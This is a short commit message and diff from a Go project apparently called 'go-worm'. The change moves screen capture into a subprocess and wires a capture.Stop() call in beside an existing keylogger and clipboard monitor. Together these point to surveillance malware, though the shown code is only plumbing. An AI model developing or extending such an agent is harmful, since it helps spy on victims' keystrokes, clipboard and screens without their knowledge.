refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe

lib/agent/agent.go

@@ -11,6 +11,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/files"
@@ -73,6 +74,7 @@ func New(cfg Config) (*Agent, error) {
 func (a *Agent) Close() {
 	clipmon.Stop()
 	keylog.Stop()
+	capture.Stop()
 	if a.guard != nil {
 		a.guard.Close()
 	}